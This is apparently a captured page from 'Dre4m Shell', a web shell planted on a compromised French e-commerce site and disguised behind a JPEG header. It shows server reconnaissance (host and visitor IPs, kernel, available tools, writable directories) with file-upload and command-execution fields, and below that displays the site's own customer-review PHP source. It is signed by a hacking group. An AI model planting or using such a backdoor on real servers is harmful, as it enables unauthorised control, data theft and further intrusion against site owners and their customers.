ÿØÿàJFIF``ÿþxØ Dre4m Was Here
Dre4m Shell
Server IP : 109.234.164.53  /  Your IP : 216.73.216.110
Web Server : Apache
System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64
User : computer3 ( 1098)
PHP Version : 7.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/computer3/litsolide.com/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/computer3/litsolide.com/avis_clients.php
<?php
/*
Module : Front-Office - Catégorie
Date : Juin 2015
Version Shop : V15.6
Auteur : Guillaume MADIOT - Computer 64
*/

//****************************************************************************************//
//************************************* Configuration ************************************//
//****************************************************************************************//

// Chargement fichiers de configuration.
require('libs/Smarty.class.php');

// Démarrage du moteur TPL.
$smarty = new Smarty;

// Chargement des Fonctions Globals.
require('fonctions.php');

//****************************************************************************************//
//****************************** Information de livraison ********************************//
//****************************************************************************************//

   $codeSuivi = $_GET['id'];
   $smarty->assign("codeSuivi", $codeSuivi); 


// Transforme le code de suivi en id et Verifie si existe deja les reponses
/**************************************************************************/
$sq = $GLOBALS['bdd']->prepare('SELECT * FROM avis WHERE suivi = :suivi ');
$sq->execute(array('suivi' => $codeSuivi));
$av = $sq->fetch();

$date_in = $av['date_insere'];
$id_cde = $av['orders'];
  $smarty->assign("id_cde", $id_cde); 


if ($id_cde <1) {
  echo '<script>';
  echo 'window.location = "./index.php"';
  echo '</script>';
}


if ($date_in =='0000-00-00') {





// Si existe pas
/****************/

// Commande
/*****************************************************************************************************************************************************************/
/*****************************************************************************************************************************************************************/
/*****************************************************************************************************************************************************************/

$sql = $GLOBALS['bdd']->prepare('SELECT o.*, MAX(os.status) AS status FROM orders o
	INNER JOIN order_status os
	ON os.id_order = o.id
	WHERE o.id= :id');

$sql->execute(array('id' => $id_cde));
$order = $sql->fetch();

$format_ust = $order['date_insere'];
$order_date_insere = implode('-',array_reverse  (explode('-',$format_ust)));
$smarty->assign("order_date_insere", $order_date_insere); 

$order_status = $order['status'];
$order_id = $order['id_order'];
$id_client = $order["customer"];
$id_c = $order['id'];



// Produits
/*******************************************/
$sql = $GLOBALS['bdd']->prepare('SELECT op.*, p.reference, p.name FROM orders_products op
	INNER JOIN products p
	ON op.id_product = p.id
	WHERE id_order = :id_order');

$sql->execute(array('id_order' => $order['id']));
$result = $sql->fetchAll();
  $smarty->assign("products", $result); 




// Customers
/*******************************************/

$numero_client = $id_client;

$sqlc = $GLOBALS['bdd']->prepare('SELECT email FROM customers WHERE id = :id ');
$sqlc->execute(array('id' => $numero_client));
$client = $sqlc->fetch();

$email_client = $client['email'];



//*************************************** Affichage **************************************//
  $smarty->display('avis_clients.tpl');


} else {

// Si existe
/**************/
  $smarty->display('avis_clients_existe.tpl');

}
?>  

Anon7 - 2022
AnonSec Team